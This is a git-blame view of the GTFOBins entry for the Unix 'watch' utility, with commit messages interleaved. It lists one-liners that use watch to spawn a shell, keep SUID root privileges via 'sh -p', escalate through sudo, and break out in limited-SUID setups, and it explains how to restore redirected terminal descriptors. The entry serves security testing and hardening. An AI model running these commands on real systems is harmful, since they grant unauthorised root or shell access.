GTFOBins.github.io/_gtfobins/watch.md

---
functions:
  shell:
    - code: watch -x sh -c 'reset; exec sh 1>&0 2>&0'
  suid:
    - description: This keeps the SUID privileges only if the `-x` option is present.
      code: ./watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'
  sudo:
    - code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
  limited-suid:
    - code: ./watch 'reset; exec sh 1>&0 2>&0'
---
Add watch 2018-05-27 17:17:14 +00:00			`---`
			`functions:`
Adopt new function names 2018-10-05 17:55:38 +00:00			`shell:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-06 23:00:01 +00:00			`- code: watch -x sh -c 'reset; exec sh 1>&0 2>&0'`
Adopt new function names 2018-10-05 17:55:38 +00:00			`suid:`
Fix YAMLs according to YAMLlint 2018-07-16 13:01:50 +00:00			- description: This keeps the SUID privileges only if the `-x` option is present.
Fix watch SUID Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com> 2022-07-01 18:39:32 +00:00			`code: ./watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'`
Adopt new function names 2018-10-05 17:55:38 +00:00			`sudo:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-06 23:00:01 +00:00			`- code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'`
Adopt new function names 2018-10-05 17:55:38 +00:00			`limited-suid:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-06 23:00:01 +00:00			`- code: ./watch 'reset; exec sh 1>&0 2>&0'`
Add watch 2018-05-27 17:17:14 +00:00			`---`